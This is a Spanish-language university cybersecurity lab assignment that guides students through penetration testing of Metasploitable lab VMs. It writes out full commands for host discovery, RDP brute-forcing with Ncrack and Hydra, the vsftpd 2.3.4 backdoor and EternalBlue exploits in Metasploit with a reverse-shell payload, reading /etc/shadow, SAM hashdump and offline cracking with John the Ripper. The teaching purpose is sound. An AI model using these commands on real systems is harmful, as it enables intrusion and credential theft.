Está en la página 1de 42

Pontificia Universidad Católica de Valparaíso

Facultad de Ingeniería
Escuela de Ingeniería Eléctrica
EIE855 – Fundamentos de Ciberseguridad

Práctica Grupal
Fecha Límite de Entrega: 03-12-2023

Título: Realización de pruebas de penetración de red.

Grupo: Definidos a comienzos del semestre.

Objetivo: En la siguiente sección, aprenderá sobre la realización de pruebas de penetración


de red.

Requerimientos técnicos
Requerimientos técnicos

Para seguir los ejercicios de esta práctica, asegúrese de haber cumplido con los siguientes
requisitos de hardware y software:

• Kali Linux 2021.2: https://www.kali.org/get-kali/


• Windows 10 como sistema operativo anfitrión
• Metasploitable 2:
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
• Metasploitable 3: https://app.vagrantup.com/rapid7/boxes/metasploitable3-win2k8

Introducción
Como aspirante a hacker ético y probador de penetración, ser arrojado metafóricamente al
campo para realizar una prueba de penetración de red puede resultar muy abrumador para
muchos. El propósito de práctica es ayudarlo a obtener una comprensión clara de cómo
descubrir y explotar vulnerabilidades de seguridad en aplicaciones y sistemas operativos en
hosts dentro de las redes de las organizaciones. Además, los conceptos y técnicas que se
encuentran en este capítulo están alineados con las fases de armamento, entrega y explotación
de Cyber Kill Chain.

En esta práctica, obtendrá experiencia práctica sobre cómo realizar una prueba de penetración
de red dentro de una organización. Aprenderá cómo descubrir y crear perfiles de hosts,
realizar ataques de contraseña para obtener acceso a servicios de red en un objetivo y
descubrir y explotar varias vulnerabilidades de seguridad en sistemas operativos basados en
Linux y Windows utilizando Kali Linux.

En esta práctica, cubriremos los siguientes temas:

• Descubriendo sistemas en vivo


• Perfilar un sistema objetivo
• Explorando ataques basados en contraseñas
• Identificar y explotar servicios vulnerables

Descubriendo sistemas en vivo


Al realizar una prueba de penetración interna para una organización, la empresa le permitirá
conectar su máquina atacante a su red y podrá asignarle una dirección IP estática para su máquina
Kali Linux. En un compromiso de prueba de penetración de red, el objetivo es simular
ciberataques del mundo real en sistemas objetivo que están dentro de las reglas de enfrentamiento,
antes de comenzar la prueba de penetración real. Asegúrese de no realizar ningún tipo de prueba
de seguridad en sistemas que no estén dentro del alcance, ya que enfrentará problemas legales
con la organización. Sin embargo, una vez que esté dentro del alcance, necesitará descubrir el
sistema, perfilar sus objetivos, descubrir vulnerabilidades de seguridad y explotar esas debilidades
de seguridad y obtener acceso mientras busca otros métodos con los que un hacker real pueda
comprometer los sistemas y la red.
En esta sección, aprenderá sobre los fundamentos para descubrir sistemas activos en una red, tal
como lo haría en un escenario del mundo real. Antes de comenzar, asegúrese de que tanto
Metasploitable 2, que está basado en Linux, como Metasploitable 3, que está basado en Windows,
estén encendidos dentro de nuestra red PentestNet. Estas máquinas virtuales funcionarán como
nuestros objetivos.
Para comenzar a descubrir sistemas en vivo, utilice las siguientes instrucciones:
1.- Cuando se conecte a una red por primera vez, use el comando ip addr o ifconfig para detectar
su IP y dirección de red si no está seguro del esquema de red IP al que está conectado.
Entregue un pantallazo de ifconfig en Kali Linux y Metasploitable 2, e ipconfig en Metasploitable
3, enmarcando en la imagen la dirección IP de las máquinas virtuales en la red PentestNET
Kali Linux
Metasploitable 2

Metasploitable 3
2.- En Kali Linux, abra la Terminal y use Netdiscover para descubrir pasivamente sistemas activos
en la red PentestNet:
kali@kali:~$ sudo netdiscover -r 172.30.1.0/24

Nota: Para que el comando funcione correctamente debe desactivar la interfaz eth0 de Kali Linux
con el comando sudo ifconfig eth0 down
Entregue un pantallazo de la salida del comando con la información obtenida de los
Metasploitable.

Como se muestra en el pantallazo anterior, Netdiscover pudo capturar mensajes del Protocolo de
resolución de direcciones (ARP) entre hosts de la red, así como recuperar las direcciones IP y las
direcciones de control de acceso a medios (MAC) dentro de cada paquete.
El uso de una herramienta como Netdiscover no envía sondas a la red en comparación con otras
herramientas. En cambio, espera pacientemente a que cualquier dispositivo host envíe mensajes
ARP a través de la red y lee la información de direccionamiento que se encuentra dentro de cada
paquete. Tenga en cuenta que, si bien los escáneres de red pasivos ayudan a mantener un nivel de
sigilo mientras se está en una red, no siempre detectan todos los sistemas en la red en comparación
con los escáneres de red activos.
3.- A continuación, utilice Nmap para realizar un barrido de ping en toda la red para detectar
activamente cualquier sistema activo en la red: (vuelva a activar la interfaz eth0 con el comando
sudo ifconfig eth0 up)
kali@kali:~$ nmap -sn 172.30.1.0/24

Entregue un pantallazo de la salida del comando con la información obtenida de los


Metasploitable.
NOTA IMPORTANTE
Dentro de una organización, el equipo de TI puede desactivar los mensajes de respuesta del
Protocolo de mensajes de control de Internet (ICMP) en sus activos para evitar que los hackers
novatos prueben su red e identifiquen sistemas activos. En pocas palabras, si realiza un escaneo
de barrido de ping en una red, el sistema atacante enviará mensajes de solicitud de eco ICMP,
pero el escaneo no detectará los sistemas con respuesta/respuesta de eco ICMP deshabilitados.
4.- A continuación, utilice NBTscan para determinar si los sistemas de la red están ejecutando
algún servicio para compartir archivos:
kali@kali:~$ sudo nbtscan -r 172.30.1.0/24

Entregue un pantallazo de la salida del comando con la información obtenida de los


Metasploitable.

La captura de pantalla anterior muestra que se revelaron los nombres NetBIOS de algunos
sistemas, pero que la información del servidor y del usuario que inició sesión no:
5.- A continuación, utilice Nmap para realizar un escaneo de puertos de los 1000 puertos de
servicio principales en la máquina Metasploitable 3 (versión de Windows) para determinar los
servicios en ejecución y los puertos abiertos:
kali@kali:~$ nmap 172.30.1.21

Entregue un pantallazo de la salida del comando con la información obtenida.

Como se muestra en la captura de pantalla anterior, Nmap pudo perfilar los servicios en ejecución
en los 1000 puertos de servicios principales.
Como próximo hacker ético y probador de penetración, es vital realizar investigaciones
adicionales en línea para identificar el papel y la función de un puerto de servicio abierto en caso
de que Nmap no pueda hacerlo.
La información de esta sección le proporcionará una mejor idea de la cantidad de hosts/sistemas
activos en la red, sus puertos de servicio abiertos y los servicios en ejecución. En la siguiente
sección, profundizaremos en la comprensión de la necesidad de perfilar un sistema objetivo.

Perfilar un sistema objetivo


Crear perfiles de sus sistemas de destino es importante ya que le ayuda a determinar el sistema
operativo en ejecución y el nivel del paquete de servicio. Al comprender la versión del sistema
operativo, podrá buscar y descubrir vulnerabilidades de seguridad en esos sistemas, e incluso
crear exploits y cargas útiles que hayan sido diseñadas específicamente para funcionar en el
sistema operativo del objetivo. Además, al crear perfiles de un objetivo, podrá identificar las
versiones de servicio de los puertos de servicio abiertos. Esta información será útil ya que hay
muchos sistemas dentro de las organizaciones que ejecutan aplicaciones obsoletas y vulnerables.
Estos servicios vulnerables pueden ser explotados por un probador de penetración durante una
prueba de penetración.
Para comenzar con este ejercicio, utilice las siguientes instrucciones:
1.- Asegúrese de que Kali Linux, Metasploitable 2 y Metasploitable 3 estén encendidos.
2.- En Kali Linux, utilice Nmap para identificar el sistema operativo, las versiones del servicio y
el escaneo de scripts del Bloque de mensajes de servicio (SMB):
kali@kali:~$ nmap -A 172.30.1.21

En la red de la práctica, Metasploitable 3 usa la dirección IP 172.30.1.21.


Entregue un pantallazo de la salida del comando con la información obtenida de SMB.

La captura de pantalla anterior muestra que Nmap pudo perfilar el destino ejecutando Windows
Server 2008 R2 Standard 7601 Service Pack 1.
Además, el parámetro –A, cuando se utiliza con Nmap, puede determinar el nombre de host, el
dominio/grupo de trabajo, el nivel de servicio SMB y los detalles de la cuenta de usuario. Dado
que se identificó SMB en este sistema, explotaremos SMB más adelante.
3.- A continuación, utilizará Nmap para perfilar otro sistema dentro de la red PentestNet:
kali@kali:~$ nmap -A 172.30.1.20

Nota: La dirección IP puede cambiar, debe usar la que tenga asignado el Metasploitable2.
Entregue un pantallazo de la salida del comando con la información obtenida de SMB.
Dentro de la red PentestNet del laboratorio, Metasploitable 2 utiliza la dirección IP 172.30.1.20.
La captura anterior muestra los resultados del escaneo.
Como se muestra en la captura de pantalla anterior, Nmap pudo perfilar el objetivo como un
sistema basado en Linux que también tiene SMB habilitado.
Usando la información que se encuentra en esta sección, podemos determinar que hay dos
sistemas activos en la red: uno está basado en Windows y el otro en Linux, y ambos tienen SMB
habilitado. Como probador de penetración, podemos comenzar a buscar vulnerabilidades de
seguridad para cada servicio que se ejecuta tanto en Windows Server 2008 R2 como en los
sistemas de destino Linux.
CONSEJO
Al perfilar un sistema con Nmap, se recomienda incluir la sintaxis -p- para escanear los 65,535
puertos de servicio en su objetivo. Existe una sintaxis Nmap común adicional que utilizan los
profesionales de la ciberseguridad dentro de la industria. Si bien la lista de sintaxis común es
demasiado larga, puede consultar la Guía de referencia oficial de Nmap en
https://nmap.org/book/man.html para obtener más información.
En la siguiente sección, aprenderá sobre varios tipos de ataques, herramientas y estrategias
basados en contraseñas que los evaluadores de penetración pueden utilizar para obtener acceso a
los servicios de red en los sistemas de destino.

Explorando ataques basados en contraseñas


Al realizar una prueba de penetración en una red, encontrará sistemas que tienen protocolos y
servicios de acceso remoto en ejecución, como Secure Shell (SSH) e incluso el Protocolo de
escritorio remoto (RDP). Sin embargo, la mayoría de los profesionales de TI suelen proteger los
sistemas que tienen algún tipo de acceso remoto para evitar que actores de amenazas y personas
no autorizadas accedan y controlen esos sistemas y dispositivos.
Como aspirante a probador de penetración, encontrará sistemas y dispositivos que ejecutan
protocolos de red de acceso remoto como SSH, RDP y muchos más. Si bien muchos profesionales
de TI implementarán autenticación para garantizar que los usuarios autorizados tengan acceso,
los evaluadores de penetración pueden intentar recuperar las credenciales de usuario válidas de
esos sistemas y obtener acceso, de manera similar a como lo haría un actor de amenazas. En otras
palabras, aprenderá a realizar varios ataques basados en contraseñas para obtener acceso a
sistemas remotos.
En general, como probador de penetración, los objetivos de realizar ataques basados en
contraseñas son los siguientes:

• Obtenga acceso no autorizado a hosts remotos en una red realizando ataques contra el
sistema de autenticación de un objetivo.
• Recupere la contraseña asociada con hashes criptográficos.
• Recupere la contraseña para acceder a un archivo protegido con contraseña.
• Los siguientes son varios tipos de ataques basados en contraseñas:

• Fuerza bruta (“Brute force”): en un ataque de fuerza bruta, se prueban todas las
combinaciones posibles contra el sistema. Este es un proceso que requiere mucho tiempo,
ya que cada combinación de contraseña posible se prueba con el sistema de autenticación
del objetivo hasta que se recupera la contraseña válida.

• Ataque de diccionario (“Dictionary attack”): en un ataque de diccionario, el actor de


la amenaza utiliza una lista de palabras precargada que contiene miles o incluso millones
de posibles contraseñas. Luego, estos se prueban con el sistema de autenticación del
objetivo. Se prueba cada palabra de la lista de palabras; sin embargo, el ataque no tendrá
éxito si no se encuentra una contraseña válida dentro de la lista de palabras que utiliza el
actor de la amenaza.

• Adivinación de contraseñas (“Password guessing”): esta es una técnica común que


utilizan muchas personas, incluso actores de amenazas y evaluadores de penetración, que
intentan obtener acceso no autorizado a un sistema. A menudo he visto a profesionales de
TI utilizar contraseñas simples e incluso predeterminadas en sus dispositivos de red,
dispositivos de seguridad e incluso en los sistemas cliente y servidor dentro de su
organización.

• Cracking de contraseñas (“Password Cracking”): en esta técnica, el actor de amenazas


utiliza varias herramientas y técnicas para recuperar credenciales de usuario válidas y
obtener acceso no autorizado a un sistema. A veces, un actor de amenazas puede capturar
la contraseña de un usuario mientras se transmite a través de una red en texto sin formato
mediante un protocolo de red inseguro, o incluso recuperar el hash criptográfico de una
contraseña.

• Rociado de contraseñas (“Password Spraying”): esta es la técnica en la que un actor


de amenazas utiliza una única contraseña y la prueba con un sistema de autenticación con
diferentes nombres de usuario. La idea es probar qué cuenta de usuario dentro de una lista
específica utiliza una única contraseña. Esta técnica es buena para probar qué usuarios
dentro de la red de la organización utilizan contraseñas débiles o comunes.

• Relleno de credenciales (“Credential Stuffing”): esta técnica permite a un actor de


amenazas utilizar una lista de palabras común de nombres de usuario y contraseñas contra
el sistema de autenticación de un host de destino. Esta técnica comprueba qué
combinación de nombres de usuario y contraseñas son credenciales de usuario válidas.
• Ataque de contraseña en línea (“Online Password Attack”): en un ataque de
contraseña en línea, el actor de amenazas intenta obtener acceso no autorizado a un
hostSPACE que ejecuta un servicio de red. Esto permite a los usuarios autorizados iniciar
sesión en el sistema a través de una red. Un ejemplo simple de un ataque de contraseña
en línea es un actor de amenaza que intenta recuperar el nombre de usuario y la contraseña
de un usuario válido para obtener acceso a un servidor que ejecuta RDP.

• Ataque de contraseña sin conexión (“Offline Password Attack”): en un ataque de


contraseña sin conexión, el actor de la amenaza utiliza varias herramientas y técnicas para
recuperar la contraseña válida de un archivo protegido con contraseña, como un
documento o incluso el hash criptográfico de la contraseña de un usuario. Un ejemplo
sencillo de esto es capturar el hash de nombre de usuario y contraseña de un administrador
de dominio a partir de paquetes de red. El nombre de usuario suele estar en texto plano,
pero es posible que necesites o quieras recuperar la contraseña del valor hash.

NOTA IMPORTANTE
SecLists es una colección de listas de palabras que contienen contraseñas y nombres de usuario
usados comúnmente por los evaluadores de penetración para realizar ataques de diccionario en
línea y fuera de línea: https://github.com/danielmiessler/SecLists. Además, puede utilizar el
comando wordlists dentro de Kali Linux para ver el repositorio local de listas de palabras que
viene precargado en el sistema operativo.
En las siguientes secciones, aprenderá cómo realizar técnicas de descifrado de contraseñas tanto
en línea como fuera de línea utilizando varias herramientas populares que se utilizan ampliamente
entre los evaluadores de penetración.

Explotación del protocolo de escritorio remoto de Windows


En esta sección, aprenderá cómo realizar ataques de contraseñas en línea para obtener acceso a
sistemas Windows que ejecutan el Protocolo de escritorio remoto (RDP). Dentro de una
organización, el administrador de TI generalmente habilita RDP en sus sistemas de servidor y
cliente Windows en su red. Esto permite a los profesionales de TI acceder de forma remota a un
sistema Windows a través de una red. Si bien esta característica crea una gran comodidad para
muchos profesionales de TI, también es muy riesgosa si hay un actor de amenaza dentro de su red
o se están realizando pruebas de penetración.
Imagine que un actor de amenazas o un probador de penetración pudiera recuperar credenciales
de usuario válidas para acceder al controlador de dominio de su organización. En este caso, el
actor amenazante podría apoderarse del dominio de Windows de su empresa. Además, un actor
de amenazas también puede intentar obtener acceso a los sistemas cliente dentro de una empresa
a través de RDP y crear múltiples puertas traseras en cada sistema cliente que comparta las mismas
credenciales de usuario para RDP.
En este ejercicio, aprenderá a utilizar Hydra, una herramienta de descifrado de contraseñas en
línea de subprocesos múltiples, y Ncrack para realizar ataques de contraseñas en línea en un host
que ejecuta un servicio de red común.
Para comenzar con este ejercicio, utilice las siguientes instrucciones:
1.- Encienda sus máquinas virtuales Metasploitable 3 y Kali Linux y asegúrese de que tengan
conectividad de extremo a extremo.
2.- En Kali Linux, abra la Terminal y use nmap -p 3389 <dirección-IP-destino-Metasploitable
3> para escanear la máquina Metasploitable 3 y determinar si RDP se está ejecutando. RDP utiliza
el puerto de servicio predeterminado 3389. Como se muestra en la captura de pantalla anterior,
Nmap pudo identificar que el puerto 3389 (RDP) se está ejecutando en el sistema de destino
(Metasploitable 3).
Entregue un pantallazo de la salida del comando con la información obtenida de RDP.

3.- A continuación, utilice los siguientes comandos para descomprimir el archivo de lista de
palabras rockyou.txt.gz:
kali@kali:~$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz

4.- A continuación, utilice Ncrack para descifrar contraseñas en línea en el servicio RDP en
Metasploitable 3:
kali@kali:~$ ncrack -v -T 3 -u Administrator -P
/usr/share/wordlists/rockyou.txt rdp://172.30.1.21
Veamos la sintaxis que se usó en Ncrack:
-v: habilita la salida detallada.
-T: Especifica el momento del ataque. Esto varía de 0 (lento) a 5 (más rápido).
-u: especifica un único nombre de usuario.
-P: especifica una lista de palabras de contraseñas.
Nota: Para que el comando funcione más rápido y entregue la contraseña descubierta puede
agregar la contraseña del sistema (“vagrant”) en el archivo rockyou.txt al inicio del archivo o
cerca del inicio.
Entregue un pantallazo de la salida del comando con la información obtenida de Ncrack
Descifrar contraseñas puede llevar mucho tiempo. Una vez encontrada la combinación válida de
nombre de usuario y contraseña, Ncrack presenta los resultados. Como se muestra en la captura
de pantalla anterior, Ncrack pudo descubrir las credenciales para RDP. Aquí, encontró que el
nombre de usuario era Administrador y que la contraseña es Vagrant.
5.- Hydra es otra herramienta en línea para descifrar contraseñas que se puede utilizar para
verificar nombres de usuarios y contraseñas en objetivos que tienen RDP habilitado. Para utilizar
Hydra para descifrar contraseñas RDP, utilice los siguientes comandos:
kali@kali:~$ hydra -t 4 -l Administrator -P
/usr/share/wordlists/rockyou.txt rdp://172.30.1.21

Entregue un pantallazo de la salida del comando con la información obtenida de hydra.

La captura de pantalla anterior muestra el resultado de que Hydra encuentre credenciales de


usuario válidas.
6.- Ahora que tiene credenciales de usuario para RDP en el destino, use los siguientes comandos
para establecer una sesión de escritorio remoto desde Kali Linux al destino:
kali@kali:~$ rdesktop -u Administrator -p vagrant 172.30.1.21 -g
1280x1024
La sintaxis -g le permite especificar la resolución de la ventana cuando se establece la sesión.
Asegúrese de modificar la configuración de resolución para que se ajuste a la pantalla de su
computadora. Se le pedirá que confíe en el certificado del destino remoto. Escriba sí y presione
Enter para establecer la sesión RDP.
Entregue un pantallazo de la salida del comando con la información obtenida y un pantallazo con
la sesión RDP desde Kali al Windows Server 2008

Como se muestra en la captura de pantalla anterior, el uso de la herramienta rdesktop le permite


establecer una sesión RDP desde Kali Linux a un sistema operativo Windows. Usaremos las
credenciales de usuario válidas que encontramos en este ejercicio más adelante en esta práctica.
A continuación, aprenderá a crear una lista de palabras personalizada utilizando palabras clave de
un sitio web en línea.

Crear listas de palabras usando palabras clave


A veces, los desarrolladores web y los profesionales de TI establecen contraseñas dentro de sus
organizaciones y aplicaciones web en línea que de alguna manera están relacionadas con los
objetivos, la misión, los productos y los servicios de la organización. El generador de listas de
palabras personalizadas (CeWL) es una herramienta generadora de contraseñas que permite a
los evaluadores de penetración realizar rastreos/rastreos web de un sitio web y recopilar palabras
clave para crear una lista de palabras personalizada para realizar ataques de contraseñas basados
en diccionarios contra un sistema o archivo.

Para crear una lista de palabras personalizada utilizando el CeWL de un sitio web de destino,
utilice el siguiente comando:
kali@kali:~$ cewl example.com -m 6 -w output_dictionary_file.txt
Entregue un pantallazo de la salida del comando con la información obtenida y un pantallazo del
archivo guardado en el directorio de trabajo.
Este comando generará una lista de palabras personalizada que contiene palabras con una longitud
mínima de 6 caracteres utilizando palabras clave del sitio web example.com. Luego generará los
resultados en el archivo output_dictionary_file.txt, dentro de su directorio de trabajo actual.
CONSEJO
Para obtener más información sobre CeWL y sus características, consulte la documentación
oficial de Kali Linux en https://tools.kali.org/password-attacks/cewl.
A continuación, aprenderá cómo generar una lista de palabras cuando no esté conectado usando
Crunch.
Procesando esas listas de palabras
Crunch es un generador de contraseñas que permite a los evaluadores de penetración crear listas
de palabras personalizadas para realizar ataques de contraseñas basados en diccionarios. Esta
herramienta es muy poderosa ya que te permite generar automáticamente todas las combinaciones
de personajes posibles según los criterios o reglas que establezcas. Luego genera los resultados
en un único archivo de diccionario.
Crunch utiliza la siguiente sintaxis para generar una lista de palabras:
crunch <longitud mínima> <longitud máxima> [opciones] –o archivo_salida.txt
Al crear una lista de palabras con Crunch, deberá especificar la longitud mínima y máxima de las
contraseñas que se generarán, los parámetros para crear las contraseñas y el archivo de salida.

Para crear una lista de palabras personalizada con una longitud fija de 4 caracteres, que puede ser
una combinación de caracteres del 0 al 9 y A-C, use el siguiente comando:
kali@kali:~$ crunch 4 4 0123456789ABC -o output_file.txt

Entregue un pantallazo de la salida del comando con la información obtenida y un pantallazo del
archivo guardado en el directorio de trabajo.

Con eso, ha aprendido sobre varias técnicas de ataque de contraseñas y ha adquirido las
habilidades para realizar un ataque de contraseña contra un sistema que ejecuta RDP. En la
siguiente sección, aprenderá a utilizar diversas herramientas y técnicas para explotar diversos
servicios en los sistemas de destino.
Identificar y explotar servicios vulnerables
En esta sección, aprenderá a utilizar diversas técnicas y herramientas dentro de Kali Linux. Estos
le ayudarán a identificar y explotar de manera eficiente las vulnerabilidades de seguridad que se
encuentran en los sistemas operativos basados en Windows y Linux que tienen aplicaciones y
servicios de red vulnerables ejecutándose en ellos.

Explotación de un servicio vulnerable en un sistema Linux


En este ejercicio, aprenderá cómo descubrir y explotar una “low hanging fruit” dentro de un
sistema basado en Linux en una red. Los “low hanging fruit” son las aplicaciones/sistemas más
fáciles de comprometer. En esta sección, aprenderá cómo explotar un servicio de Protocolo de
transferencia de archivos (FTP) que se ejecuta en un dispositivo Linux de destino.
Para comenzar con este ejercicio, utilice las siguientes instrucciones:
1.- Encienda las máquinas virtuales Kali Linux y Metasploitable 2. Metasploitable 2 es un sistema
basado en Linux, lo que lo hace perfecto para este laboratorio práctico.
2.- Utilice el siguiente comando Nmap para determinar si hay un servidor FTP en el destino y
encontrar su versión de servicio:
kali@kali:~$ nmap -A -p 21 172.30.1.25

La captura de pantalla mostrará que Nmap puede identificar que el puerto 21 está abierto como el
puerto de servicio predeterminado para FTP y que la versión del servicio es vsFTPd2.3.4.
Entregue un pantallazo de la salida del comando con la información obtenida.

3.- A continuación, vaya a Google y usemos las palabras clave vsftpd, 2.3.4 y “vulnerabilities”
para buscar vulnerabilidades de seguridad conocidas:
Entregue un pantallazo de la búsqueda en Google.
Como se muestra en la captura de pantalla anterior, hay un enlace Rapid7 que describe la
vulnerabilidad y muestra qué módulos se pueden usar dentro de Metasploit para aprovechar las
fallas en vsFTPd 2.3.4. Además, el enlace Exploit-DB proporciona el código de explotación que
aprovechará la falla de seguridad encontrada en el servicio FTP en el sistema de destino.
4.- A continuación, iniciemos la herramienta Metasploit dentro de Kali Linux usando el siguiente
comando dentro de una Terminal:
kali@kali:~$ msfconsole

Entregue un pantallazo de la herramienta Metasploit abierta.


5.- Utilice el comando search dentro de Metasploit para buscar cualquier módulo que contenga
vsftpd:
msf6 > search vsftpd
Entregue un pantallazo de la salida del comando

La captura de pantalla anterior muestra que Metasploit devuelve los siguientes resultados y que
actualmente hay dos módulos de explotación.
6.- A continuación, utilice los siguientes comandos para utilizar el módulo, configurar la dirección
IP del objetivo remoto e iniciar el exploit:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS
172.30.1.23
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Entregue un pantallazo de la salida del comando


Como se muestra en la captura de pantalla anterior, el módulo de explotación pudo crear una
puerta trasera con la cuenta raíz en el objetivo y proporcionarnos un shell. Al ingresar cualquier
comando de Linux, como whoami, se ejecutará de forma remota y los resultados se devolverán
en el shell.
7.- Trabajar dentro de un shell de enlace a veces puede resultar un poco complicado. Utilice el
siguiente comando dentro del shell de enlace para crear un shell pseudo-Terminal basado en
Python:
python -c 'import pty; pty.spawn("/bin/bash")'

La siguiente captura de pantalla muestra los resultados después de ejecutar el código. El shell
parece un poco más familiar que un shell común basado en Linux, y ejecutar un comando de
Linux proporcionará los resultados esperados:

8.- Como tenemos un shell con privilegios de root en el objetivo, echemos un vistazo a los
nombres de usuario y contraseñas de los usuarios locales en el sistema. Esta información se
almacena en el archivo /etc/shadow:
Entregue un pantallazo de la salida del comando
La captura de pantalla anterior muestra el contenido del archivo sombra, que incluye los hashes
de nombre de usuario y contraseña:
9.- A continuación, guarde el contenido del archivo oculto utilizando un editor de texto como
MousePad en Kali Linux y nombre el archivo user_hashes.txt.
Entregue un pantallazo del archivo guardado.
10.- A continuación, utilice John the Ripper para descifrar contraseñas sin conexión en los
hashes de contraseñas dentro del archivo user_hashes.txt con la lista de palabras rockyou.txt:
kali@kali:~$ john user_hashes.txt --
wordlist=/usr/share/wordlists/rockyou.txt

Entregue un pantallazo de la salida del comando


Tenga en cuenta que cuando utilice un ataque basado en directorio con una lista de palabras, si la
contraseña no existe dentro de una lista de palabras, el ataque no tendrá éxito. También puede
probar listas de palabras adicionales para recuperar las contraseñas de las otras cuentas de usuario
que se encontraron en el archivo oculto.
Habiendo completado esta sección, ha aprendido cómo descubrir y explotar un servicio vulnerable
en una máquina Linux. En la siguiente sección, aprenderá cómo explotar sistemas que ejecutan
SMB.

Explotando SMB en Microsoft Windows


SMB es un servicio de red común que se encuentra en muchos sistemas de clientes y servidores
dentro de una organización. SMB permite a los hosts compartir y acceder a archivos de forma
remota a través de una red TCP/IP. Como en muchas empresas, este protocolo de red proporciona
mucha comodidad a muchos usuarios que comparten archivos con otras personas en una
organización grande. Sin embargo, a lo largo de los años, muchos actores de amenazas y
profesionales de la ciberseguridad han descubierto varias vulnerabilidades de seguridad dentro
del protocolo de red SMB. Algunos de ellos provocaron importantes ciberataques en todo el
mundo que afectaron a muchas organizaciones.
En las siguientes subsecciones, descubrirá cómo utilizar Kali Linux como sistema atacante para
descubrir y explotar las vulnerabilidades de seguridad encontradas dentro del protocolo de red
SMB en un sistema vulnerable. Para nuestro objetivo, usaremos Metasploitable 3, que funcionará
como una máquina vulnerable basada en Windows en la red de una organización

EternalBlue hasta el final


En 2017, los actores de amenazas lanzaron uno de los ransomware más conocidos en Internet que
afectó a muchos sistemas Microsoft Windows en todo el mundo. Esto se conoce como
ransomware WannaCry. WannaCry aprovechó una vulnerabilidad de seguridad en los sistemas
operativos Windows que ejecutan SMB versión 1. Según el boletín de seguridad de Microsoft
MS17-010, esta vulnerabilidad afectó a sistemas que van desde Windows Vista hasta Windows
Server 2016. Ya que permitió a los actores de amenazas realizar código remoto Ejecución (RCE)
en sus objetivos, se le dio el nombre en clave EternalBlue. Si bien la vulnerabilidad de
EternalBlue parece un poco anticuada al momento de escribir este artículo, hay muchos sistemas
operativos Windows en muchas organizaciones de todo el mundo que no tienen parches y son
vulnerables.
NOTA IMPORTANTE
Para obtener más información sobre la vulnerabilidad de seguridad de SMB a la que se hace
referencia en el boletín de seguridad MS17-010 de Microsoft, consulte el siguiente enlace:
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010.
En este ejercicio, aprenderá cómo descubrir si un sistema de destino ejecuta SMB y es vulnerable
a EternalBlue. Para comenzar con esta práctica de laboratorio, utilice las siguientes
instrucciones:
1.- Encienda las máquinas virtuales Kali Linux (atacante) y Metasploitable 3 (objetivo) y
asegúrese de que cada máquina tenga conectividad de extremo a extremo.
2.- En Kali Linux, abra la Terminal y use Nmap para descubrir si los puertos de servicio 136, 137,
138, 139 y 445 están abiertos en Metasploitable 3:
kali@kali:~$ nmap -p 136-139,445 172.30.1.21
Entregue un pantallazo de la salida del comando

Como se muestra en la captura de pantalla anterior, los puertos de servicio 136 – 139 y 445 están
abiertos en el sistema de destino. Esto es una indicación de que lo más probable es que SMB esté
funcionando:
3.- A continuación, utilice el siguiente comando para iniciar Metasploit en Kali Linux:
kali@kali:~$ msfconsole
4.- Utilice el comando search con la palabra clave ms17-010 para buscar módulos relacionados.
msf6 > search ms17-010

Entregue un pantallazo de la salida del comando


5.- A continuación, utilice el módulo de escáner auxiliar para determinar si el objetivo es
vulnerable a EternalBlue antes de lanzar un exploit usando los siguientes comandos:

msf6 > use auxiliary/scanner/smb/smb_ms17_010


msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS
172.30.1.21
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

Entregue un pantallazo de la salida del comando

6.- A continuación, utilice el siguiente comando para utilizar un modo de explotación de los
resultados de búsqueda anteriores.
msf6 > use exploit/windows/smb/ms17_010_eternalblue
Una vez que haya seleccionado el módulo exploit/windows/smb/ms17_010_eternalblue,
Metasploit acopla automáticamente el módulo de carga útil windows/meterpreter/reverse_tcp
con el exploit. Esto significa que una vez que el exploit se entregue al objetivo, se ejecutará dentro
de la memoria del objetivo para aprovechar la versión 1 de SMB. Una vez que el exploit sea
exitoso, Metasploit enviará la carga útil al objetivo, que se ejecutará dentro de la memoria. y cree
un shell inverso que se enviará de regreso a nuestra máquina Kali Linux.
CONSEJO
Cuando trabaje dentro de un módulo en Metasploit, use el comando options para verificar si
necesita configurar varios parámetros para un módulo, como RHOSTS (objetivo) y LHOST
(máquina atacante).

7.- A continuación, utilice la siguiente secuencia de comandos para configurar RHOSTS


(objetivo), LHOST (Kali Linux) y lanzar el ataque:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS


172.30.1.21
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST
172.30.1.22
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

Entregue un pantallazo de la salida del comando


Una vez que el exploit y la carga útil se hayan ejecutado con éxito en el objetivo, obtendrá un
shell Meterpreter. Puede utilizar el comando de ayuda dentro de Meterpreter. para ver todas las
acciones que puede realizar. Con Meterpreter., puede ejecutar comandos de forma remota en el
sistema de destino desde su máquina Kali Linux.
8.- Utilice el comando hashdump dentro de su shell de Meterpreter para volcar el contenido del
archivo del Administrador de cuentas de seguridad (SAM, Security Account Manager).
Asegúrese de proporcionar los nombres de usuario y los hash de contraseña de todos los usuarios
locales en el sistema Windows de destino:
Entregue un pantallazo de la salida del comando

El archivo SAM en los sistemas operativos Windows se puede encontrar en el directorio


C:\WINDOWS\system32\config. La captura de pantalla anterior muestra el resultado después
de ejecutar el comando hashdump en Meterpreter.
Como se muestra en la captura de pantalla anterior, puede recuperar los nombres de usuario, los
hashes de contraseña de LAN Manager (LM) y New Technology LAN Manager (NTLM).
SAM almacena las credenciales de usuario en el siguiente formato:
Username : Security Identifier (SID) : LM hash : NTLM hash

9.- Guarde el resultado completo del comando hashdump en un archivo de texto llamado
passwordhashes.txt. Aprenderá cómo descifrar hashes de contraseñas sin conexión dentro de
este archivo en la siguiente sección.
Entregue un pantallazo del archivo guardado.
10.- Además, guarde los detalles de la cuenta del administrador, como el nombre de usuario y los
hashes LM y NTLM en un archivo de texto. Usaremos esto en la sección Pasar el hash, más
adelante en esta práctica.
Administrator:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c2
45d35b50b
11.- Para identificar el tipo de hash, utilice el comando hashid <valor hash> en Kali Linux:
Como se muestra en la captura de pantalla anterior, Hash ID pudo identificar el hash de varios
algoritmos hash. Sin embargo, también indicó que son hashes NTLM.

